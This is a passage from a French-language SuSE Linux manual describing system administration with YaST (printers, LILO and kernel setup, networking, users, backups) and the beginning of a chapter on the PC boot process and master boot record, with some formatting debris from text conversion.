c'est à dire des paquetages qui ne se trouvent pas sur le CD SuSE Linux. Pour de tels paquetages, YaST ne peut pas effectuer de mise à jour et il ne peut pas non plus vérifier leurs dépendances. Le plus simple est de remplacer ces paquetages par les paquetages corres- pondant du CD SuSE . Pour ce faire, vous sélectionnerez_les paquetages en question dans la liste qui vous est présentée. Avec |F___|2, vous verrez une brève description du paquetage étranger car_il n'existe pas pour ces paquetages de fichiers descriptifs détaillés. |F____1|0efface les paquetages. Vous pourrez ensuite installer le paquetage correspondant à partir du CD. 3.5 Mise à jour du système Vous ne devriez utiliser l'option du menu `Mettre à jour le système' que si votre système de base est suffisamment actuel ~ en d'autres termes s'il concorde avec le support source. En cas de doute, YaST vous le fera savoir clairement. Vous démarrerez la mise à jour du système comme il est décrit au chapitre 15 page 403 ; vous remplacerez certains paquetages avec YaST conformément aux instructions du paragraphe 3.4.9 page 98. 3.6 Administration du système YaST vous aide non seulement au cours de l'installation mais aussi dans les différentes tâches de gestion auxquelles vous allez vous voir confronté en tant qu'+ administrateur système fraîchement émoulu. Après avoir terminé l'installation proprement dite ~ après que les paquetages aient été copiés sur le disque dur ~ il vous reste encore un tas de choses à faire pour personnaliser votre système : Intégrer le matériel, configurer et activer les services réseau, créer des comptes utilisateurs, déterminer le comportement de SuSE Linux au dé- marrage, etc. Vous arriverez à l'administration du système en sélectionnant dans le menu principal de YaST (voir figure 3.1 page 82) l'option `Administration du système'. 3.6.1 Intégrer le matériel dans le système Vous pouvez ici spécifier de façon plus détaillée le matériel utilisé. Dans la majeure partie des cas, il sera créé un lien symbolique (+ lien) pointant d'un périphérique standard sur celui que vous utilisez et il vous sera possible d'accéder à tout moment au matériel correspondant sans avoir à retenir le nom exact des différents composants. La configuration de la souris, du modem, du scanner, de la carte réseau et du lecteur de CD-ROM est très simple - suivez les menus ;-) 100 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ Fig. 3.17: Administration du système Fig. 3.18: Configuration matérielle La configuration de l'imprimante décrite au paragraphe suivant est par contre nettement plus compliquée : Configurer l'imprimante L'accès à une imprimante sous Linux est un processus complexe. L'arrière- plan technique est décrit de façon détaillée au chapitre 12 page 333. Il existe heureusement, avec apsfilter , un filtre très puissant qui reconnaît automati- quement le type d'un fichier et peut le convertir de façon optimale pour le sortir sur l'imprimante. Sous Linux ~ tout comme sous Unix ~ le format PostScript joue généralement un rôle de premier plan. La sortie d'un fichier PostScript sur une imprimante est relativement triviale. Toutefois, très peu d'utilisateurs disposent d'une telle imprimante en raison de son prix. On a alors recours à Ghostscript (gs ) qui * * 101 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ est un programme libre capable d'interpréter un document PostScript et de le convertir de façon à ce qu'il puisse être traité directement par l'imprimante. Lorsqu'on utilise le programme apsfilter , les fichiers ASCII sont également convertis vers PostScript et sortis soit directement sur une imprimante pou- vant gérer PostScript soit, au moyen de GhostScript , sur n'importe quelle autre imprimante. YaST vous donne la possibilité d'installer aisément le filtre apsfilter pour l'imprimante que vous utilisez (figure 3.19) : Fig. 3.19: Installer apsfilter avec YaST Si vous possédez une imprimante couleur, activez l'option correspondante dans le masque. Sous `Type de l'imprimante', vous préciserez si votre imprimante peut ou non gérer PostScript. Sous l'option `Nom de l'imprimante', il vous sera montré toutes les im- primantes supportées par Ghostscript . Vous devrez sélectionner dans cette liste celle que vous utilisez (voir paragraphe 12.6 page 349). Dans le cas où un ``pilote'' ne serait pas mentionné, vous pouvez l'ajouter à la main en utilisant les options du menu `Autre imprimante' et ensuite `'. Vérifiez, à partir de la ligne de commande avec gs -h , que le pilote que vous désirez est effectivement supporté par la ver- sion Ghostscript installée. ~ Pour la configuration du pilote uniprint avec le ``fichier de paramètres'' correspondant, la méthode la plus sûre consiste à utiliser SETUP (lprsetp ) ; voir paragraphe 12.3 page 342. Si votre impri- mante n'est pas mentionnée, essayez avec un modèle équivalent, par exemple un modèle antérieur. Si vous possédez par exemple une imprimante HP La- serJet 5L, sélectionnez tout simplement dans la liste le modèle HP LaserJet 4. Comme `Type de papier' on choisit habituellement en France A4 Si votre imprimante est connectée sur une + interface série, vous pouvez aussi choisir la vitesse en bauds que vous voulez utiliser pour ce port. 102 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ Aujourd'hui, les imprimantes sont normalement connectées sur port parallèle et vous devez par conséquent spécifier celui que vous utilisez. Depuis la version 2.2.x du noyau, il s'agit de /dev/lp0 dans la majeure partie des cas c'est-à-dire lorsque l'imprimante est reliée au premier port parallèle. /dev/ lp1 n'entre en jeu que si votre machine dispose de deux ports parallèles. /dev/lp2 désigne le port parallèle qui se trouve sur une carte graphique Hercules 2 . _______________________________________________________________________________________________________________________|||| |||||||| Si votre imprimante ne fonctionne pas, consultez la ``liste de contrôle'' || | |||||||| || | |||||||| (paragraphe 12.7 page 354). || | |||||||| || | |||||||| En cas de doute, configurez tout d'abord dans le BIOS les valeurs suivantes || | |||||||| pour le port parallèle : || | |||||||| || | |||||||| || | |||||||| ~ Adresse d'E/S 378 (hexadécimale) || | |||||||| || | |||||||| ~ Interruption 7 || | |||||||| || | |||||||| ~ Mode : Normal (ou SPP) || | |||||||| || | |||||||| ~ et désactivez DMA (devrait être désactivé en mode normal) || | |||||||| || | |||||||| Il s'agit ici des valeurs standards couramment utilisées. || | ||||||||_______________________________________________________________________________________________________________||_ Vous devez vérifier la `résolution en dpi' et le cas échéant la modi- fier. Orientez-vous aux instructions contenues dans le manuel de votre impri- mante. 3.6.2 Configuration du noyau et de l'amorçage Vous pouvez effectuer les configurations essentielles pour l'amorçage de votre système ainsi que pour le noyau utilisé : Fig. 3.20: Configuration du noyau et de l'amorçage 2 ____________________________________________________ Jusqu'à la version 2.0.xx du noyau, il est accédé au premier port parallèle par /dev/lp1. * * 103 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `Sélectionner le noyau d'amorçage' Vous pouvez faire installer, dans votre système, l'un des noyaux précompi- lés (du CD SuSE ) avec les modules adéquats (`Sélectionner le noyau d'amorçage') si le premier choix que vous avez fait lors de l'installation ne s'avère pas optimal. YaST vous proposera alors de copier la configuration du noyau (.config) dans le répertoire des sources du noyau (/usr/src/ linux). Sélectionnez le noyau pour votre machine et faites aussi réinstaller LILO par YaST si vous avez déjà pu auparavant amorcer avec succès au moyen de LILO . Si ce n'est pas le cas, voir plus bas les informations sur la configuration de LILO . Il est vivement recommandé à l'utilisateur aguerri de générer lui-même son propre noyau après l'installation (voir chapitre 13 page 359). Un tel noyau ~ exactement taillé sur mesure pour votre système personnel ~ est plus petit, plus rapide et vous évite d'avoir des problèmes de pilotes avec du matériel non existant. Si vous êtes toutefois encore peu familiarisé avec Linux, vous devriez utiliser l'un des noyaux standards fournis avec la distribution. Vous n'avez droit en effet au service de l'Assistance Technique à l'Installation que si vous utilisez un noyau standard. (voir le paragraphe H.1 page 557.) `Création d'une disquette de secours' Une ``disquette de secours'' ou ``d'urgence'' (angl. rescue disk) peut s'avérer utile (`Création d'une disquette de secours') dans le cas où votre machine refuserait de démarrer ~ pour en savoir plus long sur le contenu et l'utilisation de la disquette, lisez le paragraphe 16.5 page 438. `Configurer LILO' Pour une configuration correcte de LILO (angl. LInux LOader), YaST vous propose aussi un frontal (figure 3.21 page suivante). Il est également possible de démarrer avec LILO les systèmes OS/2, DOS et Windows 95/98 ~ mais la prudence s'impose avec Windows NT. Vous trouverez des éclaircicements sur la signification des différents champs et options des masques de configuration au chapitre 4 page 117. La `ligne d'append pour paramètres du noyau' reste en général vide, à moins que vous n'ayez déjà dû utiliser des paramètres supplémen- taires pour l'amorçage. Dans un tel cas, inscrivez ici ces paramètres (toutefois sans les faire précéder du nom de noyau linux !). Les détails seront explicités au paragraphe 4.4.2 page 127. `Où LILO doit-il être installé ?' : Si vous avez uniquement Li- nux sur votre machine, l'emplacement approprié sera le secteur maître d'amorçage . Choisissez le secteur d'amorçage de la partition boot si vous voulez lancer Linux à l'aide d'un gestionnaire d'amorçage ``étran- ger''. Dans le cas où vous n'auriez pas créé de partition /boot, sélec- tionnez le secteur d'amorçage de la partition root . L'option Sur disquette n'a pas besoin d'être expliquée. La technique de cette configuration vous sera présentée à la page 121. 104 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ Fig. 3.21: LILO : Installation `Délai avant l'amorçage' : Le temps d'attente est indiqué en secondes. 10 secondes constituent une bonne valeur. `Option "linear"' : Cette option n'est généralement pas nécessaire ; voir aussi paragraphe 4.4.2 page 127. Avec `F4=Nouv.config', vous détermine- rez le nom d'une nouvelle ``configuration''. Le nom linux pour la configura- tion standard a fait ses preuves. S'il existe déjà des configurations, faites-les modifier avec `F5=Édit Config'. Dans ce but, YaST met à votre disposi- tion un masque que vous pouvez voir dans la figure 3.22. Signification des différents champs : Fig. 3.22: LILO : Configuration de l'amorçage * * 105 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `Nom de la configuration' : Vous avez ici carte blanche, mais pour la première configuration, choisissez linux . `Quel système d'exploitation' : Vous avez les possibilités suivantes : Lancer Linux , Lancer DOS ~ c'est aussi l'option qui convient pour Win- dows 95/98 ~ et Lancer OS/2 `Partition (racine) à amorcer' : Elle est déjà prédéfinie, en général vous n'aurez rien à changer ici. Appuyez sur `F3' et choisissez la partition appropriée. `Noyau optionnel' : Ne faites une croix que si le noyau n'est pas constam- ment disponible comme c'est le cas par exemple d'un noyau que l'on ne veut installer qu'une seule fois pour effectuer des tests. `Noyau que LILO doit amorcer' : Ici non plus vous n'aurez pas besoin, en règle générale, de modifier ce qui est déjà prévu. Son emplacement stan- dard sous SuSE Linux est /boot/vmlinuz ; avec `F3', vous avez la possi- bilité de ``naviguer'' dans la structure des répertoires. Avec `Continuer', LILO est installé, avec `Annuler', vous pouvez arrêter l'installation de LILO . ________________________________________________________________________________________________________* *________||| | Nous vous conseillons, lorsque vous configurerez Linux dans LILO , de * * |||| | * * ||| | prévoir encore une deuxième configuration (par exemple old ) que vous * * ||| | définirez comme étant le noyau à amorcer /boot/vmlinuz.old et de * * ||| | * * ||| | marquer d'une croix le champ `Noyau optionnel'. Lors d'une nouvelle * * ||| | compilation du noyau (voir chapitre 13 page 359) avec installation auto- * * ||| | * * ||| | matique de LILO , une copie de sauvegarde de votre ancien noyau sera * * ||| | automatiquement installée. Votre système pourra ainsi être démarré même * * ||| | * * ||| | si le nouveau noyau ne fonctionne pas comme il se doit ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 3.6.3 Configuration réseau Cette configuration peut être réalisée avec YaST (voir figure 3.23 page ci- contre). Vous devez absolument la faire même si votre machine ne se trouve pas vraiment dans un réseau avec carte réseau ou analogue ! Le bon fonc- tionnement de nombreux programmes est en effet conditionné par le support réseau. `Configuration de base du réseau' Il sera assigné ici les + adresses IP qui seront associées aux interfaces réseau (carte réseau, périphérique PPP ou ISDN, voir figure 3.24 page suivante). Voir la page 154 et les pages suivantes qui vous fourniront une explication de tous ces termes. Vous pouvez ici, avec `F3=Auto-IP', sélectionner les services DHCP ou BOOTP pour utiliser une configuration IP automatique. `Changer le nom de la machine' Le nom d'hôte (angl. hostname) et le nom de domaine de la machine peuvent être ici modifiés (voir à ce sujet la page 154 et pages suivantes). `Configurer les services réseau' Derrière cette option se cachent les services réseau souvent requis : inetd (pour telnet , ftp , l'impression etc.), portmap (pour serveurs NFS et NIS) et rpc.nfsd (pour serveurs NFS). 106 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ Fig. 3.23: Configurer le réseau Fig. 3.24: Configuration de base du réseau `Configuration du serveur de noms' Il est possible de spécifier un ou plusieurs serveurs de noms (voir page 455). `Configurer le client YP' Cette option est active lorsque le paque- tage ypclient, série n est installé (voir le paragraphe 5.4 page 165 ainsi que la page 457). `Configurer sendmail' Il est possible d'installer un fichier de configu- ration pour sendmail . Ce fichier offre une fonctionnalité suffisante pour tout ce qui peut être nécessaire en différentes circonstances. `Gérer l'imprimante réseau' Il est possible d'installer ici toutes les imprimantes accessibles en réseau via TCP/IP. Remplissez ce masque si vous souhaitez accéder à l'imprimante lp connectée au serveur d'impres- sion soleil.cosmos.univers sous le nom local remote . Si vous avez besoin d'un préfiltrage pour cette imprimante, lisez le para- graphe 12.4 page 346 et pages suivantes. * * 107 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `Piloter l'imprimante via Samba' Cette option est active lorsque le paquetage samba, série n est installé. C'est ainsi que l'on accède à une imprimante connectée à une machine Windows. `Piloter l'imprimante via Novell' Cette option est active lorsque le paquetage ncpfs, série n est installé. `Configurer les paramètres ISDN' Cette option est active lorsque le paquetage i4l, série n est installé. Pour ISDN, il est mis à votre dispo- sition des menus très détaillés (voir les explications au paragraphe 6.2 page 173). `Configurer le réseau PPP' Cette option permet d'installer PPP (voir les explications données au paragraphe 6.1 page 171). Pour une configuration plus poussée du réseau, reportez-vous au chapitre 5 page 153. 3.6.4 Configurer le système live Indépendamment de SuSE Linux, vous pouvez acquérir le CD-ROM ``sys- tème de fichiers live'' contre paiement, ou vous procurer l'image ISO depuis le serveur FTP (ftp://ftp.suse.com/pub/suse/i386/). Ce CD-ROM amorçable peut être utilisé pour différentes tâches : ~ À partir de ce CD-ROM, vous pouvez lancer directement un système Linux (incluant le système X Window) sans avoir à installer quoi que ce soit sur votre disque dur. Ceci peut être utile, par exemple dans le cas où vous voudriez vérifier si une machine déterminée fonctionne avec SuSE Linux ou dans le cas où vous souhaiteriez avoir un système de secours complet et indestructible à disposition (voir paragraphe 16.5 page 438). ~ Il est en outre possible d'intégrer le ``système live'' dans un système SuSE Linux régulièrement installé. Ceci n'est toutefois utile que si vous ne disposez pas de suffisamment de place sur le disque dur pour pouvoir installer un système standard complet. C'est ce deuxième point qui va maintenant être traité. ________________________________________________________________________________________________________* *________ | Notez que le système live ne peut mettre à disposition qu'un choix restreint * * ||| | * * ||| | de programmes ~ l'espace sur un support CD est limité. * * ||| |_______________________________________________________________________________________________________* *________|||_ YaST propose l'option du menu pour l'intégration du système de fichiers live. Si vous le souhaitez, il sera créé des liens symboliques pour tous les paquetages qui n'ont pas encore été installés. Ces liens pointent sur les pro- grammes du CD. Les programmes pourront ainsi être chargés sans problème à partir du CD et sans occuper d'espace mémoire sur le disque. Notez qu'à partir de maintenant vous devrez toujours avoir le CD contenant le système de fichiers live (CD 4) dans votre lecteur car il est monté en ce moment (le + point de montage est /S.u.S.E.). Si vous désirez utiliser un autre CD, amorcez d'abord avec le CD live, démontez-le avec terre: # umount /S.u.S.E. et montez ensuite l'autre CD. 108 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ Il peut toutefois arriver que même des programmes fondamentaux soient in- tégrés à partir du CD live. Dans ce cas, certains programmes tourneront après le démarrage à partir du CD, de telle sorte que celui-ci ne pourra pas être démonté. Le système de base est cependant conçu de telle manière qu'il peut tourner sans ce CD. Amorcez alors votre système, retirez le CD du lecteur et relancez Linux. Vous recevrez bien quelques messages d'erreur mais vous pourrez les ignorer. Tous les programmes nécessaires pour l'accès à un CD sont contenus dans le système. Si, lorsque vous intégrez le CD, vous recevez le message d'erreur "No space left on device", ceci est peut être dû au fait que la densité des + i-noeuds sur la partition est trop minime. Cela peut très vite se produire avec de petites partitions. Il n'y a malheureusement pas d'autre solution possible que d'ef- fectuer un nouveau formatage. Spécifiez une densité plus haute (par exemple 1 Ko au lieu de 4 Ko par i-noeud - voir aussi à ce sujet le paragraphe 3.3.10 page 91). Si votre disque est saturé et si l'intégration a été stoppée de ce fait, vous ne pourrez même plus lancer YaST pour déconnecter le système de fichiers live. Il n'est en effet plus possible à YaST de générer les fichiers dont il a besoin pour le démarrage. Supprimez maintenant quelques uns des liens symboliques qui pointent sur /S.u.S.E./... 3 Vous lancerez ensuite YaST et déconnecterez le système de fichiers live. L'avantage du système live est constitué par le peu d'espace requis. Les in- convénients sont les suivants : ~ L'accès au système live est lent car les accès au lecteur de CD-ROM sont nettement moins rapides que les accès au disque dur. ~ Comme il est nécessaire de créer un très grand nombre de liens symbo- liques qui requièrent chacun un + i-noeud, vous devez avoir suffisamment d'i-noeuds disponibles. Le nombre d'i-noeuds a déjà été déterminé au mo- ment de la création du système de fichiers et il ne peut être changé ensuite que par un nouveau formatage de la partition. ~ Pour que le CD live puisse être intégré, la partition concernée doit avoir une taille de 50 Mo au minimum. 3.6.5 Configuration du login Ici on peut déterminer si l'écran login d'affichage de texte doit être démarré lors du lancement du système ou si le système X Window doit être lancé tout de suite. Si vous optez pour le login graphique, vous avez le choix entre XDM et KDM du projet KDE. Si vous choisissez KDE, vous pouvez aussi spécifier qui est autorisé à effectuer un shutdown . L'alternative est un login sur une console ASCII et un lancement de X avec la commande startx (figure 3.25 page suivante). _______________________________________________________________________________________________________________________|| |||||||| Si vous n'êtes pas sûr que X puisse être lancé sans problème, il vaudrait ||| | |||||||| mieux ne pas activer XDM ou KDM . Testez en tous les cas si vous pouvez || | |||||||| || | |||||||| lancez X à partir de la console avant d'activer un gestionnaire d'affichage. || | ||||||||_______________________________________________________________________________________________________________||_ 3 ____________________________________________________ Au paragraphe 19.7.5 page 490, il est expliqué comment on efface des fichiers. * * 109 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Fig. 3.25: Configuration du login Le runlevel 3 est enregistré dans /etc/inittab comme niveau d'exécution par défaut et une variable est positionnée dans /etc/rc.config (voir para- graphe 79 page 460). Si vous utilisez le runlevel 3 dans votre système à une autre fin que pour le démarrage de XDM ou KDE aucun des deux ne sera activé. 3.6.6 Configuration susewm C'est dans ce menu de configuration que l'on détermine le ``bureau graphi- que'', Fig. 3.26: Configuration susewm Sélectionnez le gestionnaire de fenêtres par défaut et déterminez pour quels autres gestionnaires de fenêtres susewm doit générer des fichiers de configu- 110 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ ration disponibles dans l'ensemble du système (voir les arrières-plans tech- niques au paragraphe 9.5 page 282 et pages suivantes) . 3.6.7 Gestion utilisateurs Avec YaST , vous pouvez aisément créer des comptes utilisateurs et supprimer ou modifier des comptes utilisateurs déjà existants. Vous trouverez le dialogue se rapportant à ce sujet dans le menu `Administration du système' sous l'option `Gestion utilisateurs'). Fig. 3.27: Gestion utilisateurs avec YaST Vous pouvez ici autoriser l'utilisateur à `accéder au modem'. Dans ce cas, l'utilisateur sera inscrit dans les groupes `uucp' et `dailout'. Tous les membres de ce groupe sont habilités par exemple à établir et à terminer des connexions PPP. Lorsqu'il est ajouté un utilisateur, tous les fichiers du répertoire exemple /etc/skel sont copiés dans le répertoire personnel du nouvel utilisateur. Il est ainsi possible de réaliser une certaine préconfiguration minimale de tous les utilisateurs du système. Chaque utilisateur peut bien entendu modifier plus tard ces fichiers en fonction de ses propres critères. En outre, YaST invoquera deux scripts dans lesquels les tâches de routine pourront être insérées : ~ Après la création du compte utilisateur, le script /usr/sbin/useradd. local ~ au cas ou il existe ~ sera invoqué. À ce moment, l'utilisateur est inscrit aussi bien dans /etc/passwd que dans /etc/shadow. Le ré- pertoire personnel de l'utilisateur existe déjà et les fichiers provenant de /etc/skel sont copiés. ~ Avant que l'utilisateur ne soit supprimé, le script /usr/sbin/userdel. local ~ au cas ou il existe ~ sera invoqué. À ce moment l'utilisateur est encore inscrit dans les fichiers passwd et shadow et son répertoire personnel existe encore. * * 111 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Le nom de l'utilisateur sera transmis aux deux scripts sous forme de para- mètres. Si l'on a besoin d'autres données (ID de l'utilisateur, shell de lo- gin, répertoire personnel), il est relativement facile de les retrouver dans /etc/passwd. Si vous avez suffisamment d'expérience et si vous trouvez trop fastidieux de lancer YaST pour ces opérations, vous avez bien sûr aussi à votre disposition les utilitaires useradd et userdel . Informations sur PAM Les fichiers de configuration pour PAM (angl. Pluggable Authentication Mo- dules) sont situés sous /etc/pam.d. La documentation à l'usage des pro- grammeurs et administrateurs système se trouve sous /usr/doc/packages/ pam. SuSE Linux peut gérer les mots de passe MD5. Avec l'encodage MD5, les mots de passe peuvent avoir une longueur de plus de 8 caractères. Il convient toutefois d'être prudent : l'encodage MD5 n'est pas compatible avec crypt() qui est la fonction standard sous Unix. Cela signifie que bon nombre de systèmes Unix commerciaux ainsi que certains programmes ne fonctionnent pas avec les mots de passe MD5. Dans /usr/doc/packages/pam/md5.config, vous trouverez des informa- tions sur la configuration. 3.6.8 Gestion de groupes Avec YaST , vous pouvez gérer non seulement les utilisateurs mais aussi les groupes d'utilisateurs. Fig. 3.28: Gestion de groupes avec YaST Sous Linux (comme sous Unix en général), chaque utilisateur peut et doit ap- partenir au moins à un groupe d'utilisateurs. Ceci est indispensable car l'ap- 112 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ partenance à un groupe confère certains droits d'accès comme par exemple l'accès aux fichiers. Il est ainsi possible de limiter l'accès aux répertoires aux seuls membres d'un groupe et de protéger cet accès par un mot de passe de groupe. Certains groupes d'utilisateurs sont déjà prédéfinis sous Linux, par exemple les groupes d'utilisateurs `users', `root' et plusieurs autres encore. La forme `users' n'est toutefois que la représentation textuelle des groupes d'utilisateurs. Ils sont représentés, au niveau interne, par des nombres appelés identificateurs de groupes (angl. group id). Le fichier de configuration pour les groupes d'utilisateurs est /etc/group. Tout ceci, uniquement à titre d'information car avec YaST vous pouvez créer plusieurs groupes d'utilisateurs de manière beaucoup plus simple. Dans YaST , vous trouverez le dialogue concernant la gestion des groupes d'utilisa- teurs dans le menu `Administration du système' sous l'option `Ges- tion de groupes'. Le dialogue vous est présenté par la figure 3.28 page précédente. 3.6.9 Créer des sauvegardes Il peut être utile de sauvegarder dans un fichier d'archive ou sur bande tous les fichiers ~ typiquement des fichiers de configuration et de données ~ qui ont été modifiés ou sont venus s'ajouter depuis l'installation d'un paquetage. C'est la tâche de cette fonction. Fig. 3.29: Sauvegarde de données (angl. backup) avec YaST Le dialogue se rapportant à ce sujet se divise en trois sections : 1. Déterminer le volume Dans ce masque, vous déterminerez à l'aide d'une liste quels répertoires sont exclus de la sauvegarde. Il est indiqué ici /tmp, /dev et /proc. Vous devriez toutefois compléter la liste en y ajoutant par exemple des CD-ROM montés, des partitions DOS montées et des répertoires montés via NFS. Plus le nombre de répertoires inutiles exclus de la sauvegarde * * 113 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ est important, plus la fonction gagne en rapidité car les descriptions des paquetages rendent_ superflues_ les comparaisons entre les fichiers. Avec les touches |+_ |et_|-__|, vous pourrez soit ajouter soit supprimer des entrées dans la liste. |F____1|0poursuit la fonction dans la prochaine phase. 2. Recherche YaST recherche maintenant dans le système les fichiers qui ont été inclus dans la sauvegarde. Le nombre et la taille des fichiers localisés seront continuellement affichés. Lorsque la recherche sera terminée, il apparaîtra une liste contenant tous les fichiers qui ont été_trouvés._Ici, vous pouvez encore supprimer des fichiers de la liste avec |E_________|space. Ces fichiers ne sont plus inclus dans la sauvegarde. 3. Spécifier la commande Ici, vous déterminez de quelle manière les fichiers doivent être sauve- gardés. Vous pouvez pour cela entrer un nom d'archive ou spécifier une option. Le mécanisme de sauvegarde ne peut naturellement pas fonctionner si la date des fichiers n'a subi aucun changement. Cette fonction consomme en outre beaucoup de mémoire centrale. Les noms de fichiers d'un CD typique oc- cupent à eux seuls 6 Mo et vous avez bien sûr aussi besoin d'espace disque pour l'archive. Si vous faites compresser l'archive, vous pouvez réduire de moitié la taille des fichiers. Mais la solution la plus recommandable est d'en- registrer la sauvegarde sur une bande. 3.6.10 Configuration sécurité du système Ne modifiez les paramètres par défaut que si vous connaissez parfaitement les conséquences de ces mesures. Vous devez absolument lire à ce sujet le chapitre 18 page 465. ________________________________________________________________________________________________________* *________|| | Si vous ne voulez pas autoriser de login `root' via ssh , vous * * |||| | * * ||| | devrez adapter /etc/ssh_config. Dans /etc/sshd_config, * * ||| | PasswordAuthentication yes est positionnée par défaut. ~ Si * * ||| | * * ||| | ssh est configuré correctement, les logins `root' par réseau sont sûrs. * * ||| |_______________________________________________________________________________________________________* *________|||_ 3.6.11 Configurer XFree86[tm] Le système X Window (XFree86) peut être configuré avec différents outils. Essayez tout d'abord avec SaX . Vous trouverez une description détaillée de SaX au paragraphe 8.1 page 240 et pages suivantes. 3.6.12 Modifier le fichier de configuration Dans SuSE Linux, pratiquement tout l'ensemble du système est géré par un seul fichier de configuration central (/etc/rc.config). Ce fichier est utilisé lors de l'amorçage par les différents scripts de démarrage et le système est configuré en conséquence. Vous pouvez, avec YaST , modifier les différentes entrées contenues dans ce fichier et adapter ainsi le système à vos critères personnels sans avoir besoin de savoir en détail quels fichiers sont concernés par les modifications. 114 ___________________________________________________________________________________3.6.__Administration_du_système__________* *______________________ Fig. 3.30: Modification du fichier de configuration avec YaST Sélectionnez ici,_ à l'aide__du_ curseur, la variable qui doit être modifiée et appuyez sur |_____-|ou sur |F___|3pour effectuer la modification. Si vous changez manuellement quelque chose à ce fichier vous devrez ensuite invoquer le script SuSEconfig . Le script fait en sorte que les modifications que vous avez apportées au fichier /etc/rc.config soient prises en compte dans les différents fichiers de configuration spécifiques au programme. Vous trouverez une description détaillée du fichier de configuration avec toutes les possibilités de paramétrage au paragraphe 17.6 page 451. * * 115 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ 116 Chapitre 4 Amorçage et gestionnaires d'amorçage : LILO , loadlin , etc. Dans ce chapitre, nous allons vous présenter différentes méthodes qui vous permettront d'amorcer (+ amorçage) votre système après avoir terminé votre installation. Afin qu'il vous soit plus facile de superviser chacune de ces mé- thodes, nous allons tout d'abord élucider quelques détails techniques concer- nant le processus d'amorçage sur PC. 4.1 Procédure d'amorçage sur PC Après la mise sous tension de la machine, le + BIOS (angl. Basic Input Output System) initialise l'écran ainsi que le clavier et teste la mémoire centrale. Jusqu'à ce moment, il n'existe pas encore de support de mémoire de masse dans l'univers de votre PC ! Après avoir exploré son ``monde intérieur'', le système embryonnaire peut maintenant se consacrer à la découverte du monde extérieur. Des informa- tions concernant la date, l'heure et la sélection des périphériques les plus im- portants sont extraites des valeurs CMOS (CMOS setup). Comme maintenant le premier disque (y compris sa géométrie) devrait être connu, le chargement du système d'exploitation peut commencer à partir de ces données. Pour cela, le tout premier secteur physique de données de 512 octets est chargé en mémoire depuis le premier disque dur et le contrôle des pro- grammes passe au mini-programme au début de ce secteur. La suite des ins- tructions ainsi exécutées détermine le déroulement de la procédure d'amor- çage. C'est pourquoi les 512 premiers octets du premier disque dur sont ap- pelés secteur maître d'amorçage (angl. + MBR = Master Boot Record). Ce contexte, bien que décrit ici de façon très brève et simplifiée, permet déjà de faire deux observations qui aideront à mieux comprendre ce qui va suivre : Jusqu'à ce moment (chargement du MBR), la procédure d'amorçage est la même sur chaque PC quelque soit le système installé ; le PC ne dispose en- core, pour l'accès aux périphériques, que des seules routines (pilotes) sto- ckées dans le BIOS * * 117 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ Secteur maître d'amorçage (MBR) La structure du MBR est définie par une convention qui s'applique à tous les systèmes d'exploitation. Les 446 premiers octets sont réservés au code du programme1 . Les 64 octets suivants offrent la place nécessaire à une table des partitions pouvant contenir jusqu'à quatre entrées (voir paragraphe 2.8 page 67 et paragraphe 2.9 page 68).2 Les 2 derniers octets doivent contenir un ``nombre magique'' fixe (AA55 ) : un MBR qui a autre chose à cet emplacement est considéré par le BIOS et tous les systèmes d'exploitation du PC comme n'étant pas valide. Secteurs d'amorçage Les secteurs d'amorçage sont les premiers secteurs des partitions3 du disque dur. Ils offrent un espace de 512 octets et sont destinés à abriter le code qui permettra de lancer le système d'exploitation qui se trouve sur cette partition. Les secteurs d'amorçage des partitions formatées DOS, Windows ou OS/2 jouent toujours ce rôle (et contiennent en plus d'importantes données de base du système de fichiers). Par contre, les secteurs d'amorçage des partitions Linux ~ même après la création d'un système de fichiers ~ sont au départ tou- jours vides( !). Une partition Linux n'est donc pas par elle-même amorçable, même si elle contient un noyau ainsi qu'un système de fichiers racine valide. Un secteur d'amorçage possédant un code de démarrage du système valide a le même identifiant ``magique'' que le MBR dans les 2 derniers octets. Amorcer à partir de DOS ou de Windows 95/98 Le MBR DOS du premier disque dur contient une partition marquée comme active (angl. bootable), ce qui signifie que c'est là qu'il faut rechercher le système à charger4 . Le code de programme DOS sur le MBR constitue le premier niveau du chargeur (angl. first stage bootloader) et il vérifie qu'il existe bien un secteur d'amorçage valide sur la partition spécifiée. Si c'est le cas, le code peut être démarré dans ce secteur d'amorçage comme ``second niveau'' du chargeur (angl. secondary stage loader). Il charge alors les programmes du système, ce qui déclenche soit l'apparition de l'invite habituelle du DOS, soit le démarrage de l'interface Windows 95/98. Sous DOS, on ne peut marquer comme active qu'une seule et unique partition primaire. Ceci a pour conséquence que le système DOS ne peut pas résider sur des unités de disque contenues dans une partition étendue. _____________________________________________1 Le code lui-même ~ et sa fonctionnalité ~ dépendent toutefois du système d'exploitation sous lequel le MBR a été créé ! 2 Sans table des partitions, il n'y a pas de systèmes de fichiers (MS-DOS : unités de disque), ce qui signifie que le disque dur n'est pratiquement pas utilisable. 3 Sauf pour la partition étendue qui ne sert qu'à contenir d'autres partitions 4 Cela signifie tout particulièrement que DOS doit absolument être installé sur le premier disque dur. 118 ___________________________________________________________________________________________4.2.__Concepts_d'amorçage________* *______________________ 4.2 Concepts d'amorçage Le ``concept d'amorçage'' le plus simple est celui qui concerne une machine ne possédant qu'un seul système d'exploitation. Une configuration assez ré- pandue consiste à avoir DOS ou Windows 95/98 comme seul et unique sys- tème d'exploitation sur la machine. Nous avons déjà décrit ce qui se passe dans ce cas pendant la phase de démarrage. Un tel concept 